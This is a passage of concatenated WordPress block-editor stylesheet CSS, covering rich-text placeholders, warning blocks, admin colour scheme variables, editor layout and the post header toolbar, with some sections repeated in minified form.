  cursor:pointer;
}

.block-editor-plain-text{
  border:none;
  box-shadow:none;
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  line-height:inherit;
  margin:0;
  padding:0;
  width:100%;
}

.rich-text [data-rich-text-placeholder]{
  pointer-events:none;
}
.rich-text [data-rich-text-placeholder]:after{
  content:attr(data-rich-text-placeholder);
  opacity:.62;
}
.rich-text:focus{
  outline:none;
}
.rich-text:focus [data-rich-text-format-boundary]{
  border-radius:2px;
}

.block-editor-rich-text__editable>p:first-child{
  margin-top:0;
}

figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{
  opacity:.8;
}

[data-rich-text-script]{
  display:inline;
}
[data-rich-text-script]:before{
  background:#ff0;
  content:"</>";
}

.block-editor-warning{
  align-items:center;
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:flex;
  flex-wrap:wrap;
  padding:1em;
}
.block-editor-warning,.block-editor-warning .block-editor-warning__message{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.block-editor-warning .block-editor-warning__message{
  color:#1e1e1e;
  font-size:13px;
  line-height:1.4;
  margin:0;
}
.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{
  min-height:auto;
}
.block-editor-warning .block-editor-warning__contents{
  align-items:baseline;
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:space-between;
  width:100%;
}
.block-editor-warning .block-editor-warning__actions{
  align-items:center;
  display:flex;
  margin-top:1em;
}
.block-editor-warning .block-editor-warning__action{
  margin:0 8px 0 0;
}

.block-editor-warning__secondary{
  margin:auto 0 auto 8px;
}

.components-popover.block-editor-warning__dropdown{
  z-index:99998;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
body{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  line-height:1.5;
  --wp--style--block-gap:2em;
}

p{
  line-height:1.8;
}

.editor-post-title__block{
  font-size:2.5em;
  font-weight:800;
  margin-bottom:1em;
  margin-top:2em;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper .wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{float:left;margin-right:2em}html :where(.wp-block)[data-align=right]>*{float:right;margin-left:2em}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-right:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{max-width:none;padding-left:0;padding-right:0;right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-styles-wrapper .wp-block{
  margin-left:auto;
  margin-right:auto;
}

html :where(.editor-styles-wrapper){
  padding:8px;
}
html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{
  margin-left:-8px;
  margin-right:-8px;
}

html :where(.wp-block){
  margin-bottom:28px;
  margin-top:28px;
  max-width:840px;
}
html :where(.wp-block)[data-align=wide]{
  max-width:1100px;
}
html :where(.wp-block)[data-align=full]{
  max-width:none;
}
html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{
  height:0;
  width:100%;
}
html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{
  content:none;
}
html :where(.wp-block)[data-align=left]>*{
  float:left;
  margin-right:2em;
}
html :where(.wp-block)[data-align=right]>*{
  float:right;
  margin-left:2em;
}
html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{
  clear:both;
}

.wp-block-group>[data-align=full]{
  margin-left:auto;
  margin-right:auto;
}

.wp-block-group.has-background>[data-align=full]{
  margin-right:-30px;
  width:calc(100% + 60px);
}
[data-align=full] .wp-block-group>.wp-block{
  padding-left:14px;
  padding-right:14px;
}
@media (min-width:600px){
  [data-align=full] .wp-block-group>.wp-block{
    padding-left:0;
    padding-right:0;
  }
}
[data-align=full] .wp-block-group>[data-align=full]{
  max-width:none;
  padding-left:0;
  padding-right:0;
  right:0;
  width:100%;
}
[data-align=full] .wp-block-group.has-background>[data-align=full]{
  width:calc(100% + 60px);
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper .wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{
  /*!rtl:begin:ignore*/float:left;margin-right:2em
  /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=right]>*{
  /*!rtl:begin:ignore*/float:right;margin-left:2em
  /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-left:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{left:0;max-width:none;padding-left:0;padding-right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-styles-wrapper .wp-block{
  margin-left:auto;
  margin-right:auto;
}

html :where(.editor-styles-wrapper){
  padding:8px;
}
html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{
  margin-left:-8px;
  margin-right:-8px;
}

html :where(.wp-block){
  margin-bottom:28px;
  margin-top:28px;
  max-width:840px;
}
html :where(.wp-block)[data-align=wide]{
  max-width:1100px;
}
html :where(.wp-block)[data-align=full]{
  max-width:none;
}
html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{
  height:0;
  width:100%;
}
html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{
  content:none;
}
html :where(.wp-block)[data-align=left]>*{
  float:left;
  margin-right:2em;
}
html :where(.wp-block)[data-align=right]>*{
  float:right;
  margin-left:2em;
}
html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{
  clear:both;
}

.wp-block-group>[data-align=full]{
  margin-left:auto;
  margin-right:auto;
}

.wp-block-group.has-background>[data-align=full]{
  margin-left:-30px;
  width:calc(100% + 60px);
}
[data-align=full] .wp-block-group>.wp-block{
  padding-left:14px;
  padding-right:14px;
}
@media (min-width:600px){
  [data-align=full] .wp-block-group>.wp-block{
    padding-left:0;
    padding-right:0;
  }
}
[data-align=full] .wp-block-group>[data-align=full]{
  left:0;
  max-width:none;
  padding-left:0;
  padding-right:0;
  width:100%;
}
[data-align=full] .wp-block-group.has-background>[data-align=full]{
  width:calc(100% + 60px);
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-right:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-right:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-left:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-left:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:auto;
  right:10px;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-left:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  max-height:100%;
  position:fixed;
  right:0;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    left:160px;
  }
}
.folded .interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    left:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  left:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-left:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-right:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  left:0;
  position:absolute;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-left:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-left:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-left:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.edit-post-header{
  align-items:center;
  background:#fff;
  display:flex;
  flex-wrap:wrap;
  height:60px;
  justify-content:space-between;
  max-width:100vw;
}
@media (min-width:280px){
  .edit-post-header{
    flex-wrap:nowrap;
  }
}

.edit-post-header__toolbar{
  align-items:center;
  display:flex;
  flex-grow:3;
  flex-shrink:8;
  overflow:hidden;
  padding:2px 0;
}
.edit-post-header__toolbar .table-of-contents{
  display:none;
}
@media (min-width:600px){
  .edit-post-header__toolbar .table-of-contents{
    display:block;
  }
}
.edit-post-header__toolbar .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  width:1px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group{
  border-right:none;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}
.edit-post-header__toolbar .selected-block-tools-wrapper.is-collapsed{
  display:none;
}

.edit-post-header__block-tools-toggle{
  margin-left:2px;
}

.edit-post-header__center{
  display:flex;
  flex-grow:1;
  justify-content:center;
}
.edit-post-header__center.is-collapsed{
  display:none;
}
.edit-post-header__settings{
  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  padding-right:4px;
}
@media (min-width:600px){
  .edit-post-header__settings{
    padding-right:8px;
  }
}
.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{
  width:auto;
}
.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{
  display:none;
}
.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{
  content:attr(aria-label);
}
.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{
  display:block;
}
.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon:after{
  content:none;
}
.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{
  width:60px;
}
.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{
  display:block;
}
.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.edit-post-header__dropdown .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{
  content:none;
}

.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover{
  border-left:none;
}
.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  left:calc(50% + 1px);
  width:calc(100% - 24px);
}

.edit-post-header__dropdown .components-button.block-editor-list-view,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{
  justify-content:flex-start;
  margin:0;
  padding:6px 6px 6px 40px;
  text-align:left;
  width:14.625rem;
}

